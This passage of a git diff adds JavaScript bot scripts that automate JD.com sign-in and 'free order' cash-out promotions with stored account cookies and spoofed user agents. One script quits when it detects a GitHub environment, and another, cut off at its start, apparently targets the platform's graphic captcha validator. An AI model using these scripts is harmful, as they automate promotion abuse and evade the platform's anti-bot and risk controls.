`${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺获取签到信息 +function taskUrl(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "referer": `https://h5.m.jd.com/`, + "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + console.log(`已签到:`+data.data.days+`天`) + message +=`已签到:`+data.data.days+`天\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function showMsg() { + if ($.isNode()) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = data['base'].nickname; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_signFree.js b/jd_signFree.js new file mode 100644 index 0000000..0cfc3e6 --- /dev/null +++ b/jd_signFree.js @@ -0,0 +1,570 @@ +// 自行确认是否有效 + +const $ = new Env('极速免费签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const UA = $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie, + msg = [] + +const activityId = 'PiuLvM8vamONsWzC0wqBGQ' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + msg.push(($.nickName || $.UserName) + ':') + await sign_all() + } + } + if (msg.length) { + console.log('有消息,推送消息') + await notify.sendNotify($.name, msg.join('\n')) + } else { + console.error('无消息,推送错误') + await notify.sendNotify($.name + '错误!!', "无消息可推送!!") + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + notify.sendNotify($.name + '异常!!', msg.join('\n') + '\n' + e) + }) + .finally(() => { + $.msg($.name, '', `结束`); + $.done(); + }) +async function sign_all() { + await query() + if (!$.signFreeOrderInfoList){ + console.log('啥也没买,结束') + return + } + await $.wait(3000) + for (const order of $.signFreeOrderInfoList) { + // console.debug('now:', order) + $.productName = order.productName + await sign(order.orderId) + await $.wait(3000) + } + await $.wait(3000) + await query() + await $.wait(3000) + for (const order of $.signFreeOrderInfoList) { + // console.debug('2nd now:', order) + if (order.needSignDays == order.hasSignDays) { + console.log(order.productName, '可提现,执行提现') + $.productName = order.productName + await cash(order.orderId) + await $.wait(3000) + } + } +} + +function query() { + return new Promise(resolve => { + $.get(taskGetUrl("signFreeHome", { "linkId": activityId }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('query:', data) + data = JSON.parse(data) + $.signFreeOrderInfoList = data.data.signFreeOrderInfoList + if (data.success == true) { + if (!data.data.signFreeOrderInfoList) { + console.log("没有需要签到的商品,请到京东极速版[签到免单]购买商品"); + msg.push("没有需要签到的商品,请到京东极速版[签到免单]购买商品") + } else { + $.signFreeOrderInfoList = data.data.signFreeOrderInfoList + console.log("脚本也许随时失效,请注意"); + msg.push("脚本也许随时失效,请注意") + if (data.data.risk == true) { + console.log("风控用户,可能有异常"); + msg.push("风控用户,可能有异常") + } + } + }else{ + console.error("失败"); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function sign(orderId) { + return new Promise(resolve => { + // console.debug('sign orderId:', orderId) + $.post(taskPostUrl("signFreeSignIn", { "linkId": activityId, "orderId": orderId }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('sign:', data) + data = JSON.parse(data) + let msg_temp + if (data.success) { + msg_temp = $.productName + ' 签到成功' + } else { + msg_temp = $.productName + ' ' + (data.errMsg || '未知错误') + } + console.log(msg_temp) + msg.push(msg_temp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function cash(orderId) { + return new Promise(resolve => { + // console.debug('cash orderId:', orderId) + $.post(taskPostUrl("signFreePrize", { "linkId": activityId, "orderId": orderId, "prizeType": 2 }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('cash:', data) + data = JSON.parse(data) + let msg_temp + if (data.success) { + msg_temp = $.productName + ' 提现成功' + } else { + msg_temp = $.productName + ' ' + (data.errMsg || '未知错误') + } + console.log(msg_temp) + msg.push(msg_temp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + // 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": UA, + 'accept-language': 'en-US,zh-CN;q=0.9', + 'accept-encoding': 'gzip, deflate, br', + "referer": "https://signfree.jd.com/?activityId=" + activityId + } + } +} + +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + // 'Connection': 'keep-alive', + 'user-agent': UA, + 'accept-language': 'en-US,zh-CN;q=0.9', + 'accept-encoding': 'gzip, deflate, br', + "referer": "https://signfree.jd.com/?activityId=" + activityId + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_sign_graphics.js b/jd_sign_graphics.js new file mode 100644 index 0000000..6843c29 --- /dev/null +++ b/jd_sign_graphics.js @@ -0,0 +1,918 @@ +/* +cron 14 10 * * * https://raw.githubusercontent.com/smiek2121/scripts/master/jd_sign_graphics.js + +*/ + +// const Faker=require('./sign_graphics_validate.js'); + +const $ = new Env('京东签到图形验证'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +CryptoScripts() +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let cookiesArr = [], cookie = ''; + +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 +const PNG = require('png-js'); +const https = require('https'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); + +let message = '', subTitle = '', beanNum = 0; +let fp = '' +let eid = '' +let signFlag = false +let successNum = 0 +let errorNum = 0 +let JD_API_HOST = 'https://jdjoy.jd.com' +$.invokeKey = "q8DNJdpcfRQ69gIx" +$.invokeKey = $.isNode() ? 